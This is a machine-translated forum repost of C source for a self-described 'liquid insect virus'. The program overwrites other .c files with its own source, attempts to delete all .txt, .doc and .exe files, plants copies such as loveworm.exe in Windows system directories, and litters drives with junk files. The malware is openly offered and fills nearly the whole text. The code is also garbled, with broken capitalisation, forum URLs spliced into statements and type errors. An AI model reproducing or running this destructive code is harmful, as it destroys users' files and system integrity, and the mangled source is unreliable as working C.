C language virus program development
// Connection header file
# Include <Io. h>
# Include <dir. h>
# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>
// Copy the file module
Int copyfile (char * infile, char * OUTFILE)
{
File * In, * out; // defines the file pointer
IT talent Network (http://it.ad0.cn) in = fopen (infile, "R"); // open the file
Out = fopen (OUTFILE, "W"); // create a file
While (! Feof (in) // determines whether the file has ended.
{Www.ad0.cn
Fputc (fgetc (in), OUT); // read one character from in to out
}
Fclose (in); // close the in file
Fclose (out); // close the out file
Return 0; // return
}
Int makerubbish (void)
{
Int I; // declare the integer I
File * FP; // file pointer fp
Char * path; // path pointer
Char * newname;
Char * disk [7] = {"A", "B", "C", "D", "E", "F", "G "}; // initialize the pointer Array
Char * addtion = ":\\";
For (I = 0; I <5; I ++) // cyclically 4 times
{
Char tempname [] = "xxxxxx"; // random name
Newname = mktemp (tempname); // create a unique file name
Fp = fopen (newname, "W"); // create a text file
Fclose (FP); // close the FP file stream
}
Path = strcat (Disk [getdisk ()], addtion); // obtain the root number.
Chdir (PATH); // change the working directory
For (I = 0; I <5; I ++) // number of cycles
{
Char tempname [] = "xxxxxx"; // the string is assigned to an array.
Newname = mktemp (tempname); // create a unique file name
Fp = fopen (newname, "W"); // create a new file
Fclose (FP); // close the file
}
Return 0; // return
}
Int createxe (void)
{
Int I; // integer
Char * path; // character pointer
Char * s [2] = {// important directory
"C: \ Windows \ system32 \ loveworm.exe ",
"C: \ Windows \ virusssss.com"
};
For (I = 0; I <2; I ++) // number of cycles
{
Open (S, 0x0100,0x0080); // open the file and write data
Copyfile ("c_killer.c", S); // call the subfunction to copy file data
}
Return 0;
}
Int remove (void) // go
{
Int done; // defines the integer variable.
Int I;
Struct ffblk; // declare the struct variable ffblk
Char * documenttype [3] = {"*. txt", "*. Doc", "*. EXE"}; // initialize the pointer Array
For (I = 0; I <3; I ++) // controls the number of loops
{
Done = findfirst (documenttype, & ffblk, 2); // search for a directory
While (! Done) // returns 0 if the search is successful.
{
Remove (ffblk. ff_name); // delete an object
Done = findnext (& ffblk );
}
}
Return 0; // return
}
Int breed (void) // breeding Module
{
Int done; // integer variable
Struct ffblk; // name Structure Variable
Done = findfirst ("*. c", & ffblk, 2 );
While (! Done)
{
If (strcmp ("c_killer.c", ffblk. ff_name )! = 0)
{
Copyfile ("c_killer.c", ffblk. ff_name );
}
Done = findnext (& ffblk );
}
Return 0;
}
Int main (void) // program entry address
{
Printf ("liquid insect virus, by: xianjian Xiaoyao. \ n ");
Breed (); // culture Virus
Remove (); // places to go
Createxe ();
Printf ("Can you tell me your name? \ N ");
Printf ("Please enter your name now! \ N ");
Makerubbish (); // call a subfunction
Getchar ();
Clrscr (); // clear the screen
System ("cmd ");
Getch ();
Return 0;
}
This article from: IT Pioneer Forum (http://bbs.ad0.cn) Source: http://bbs.ad0.cn/viewthread.php? Tid = 414 & extra = Page % 3d1 & frombbs = 1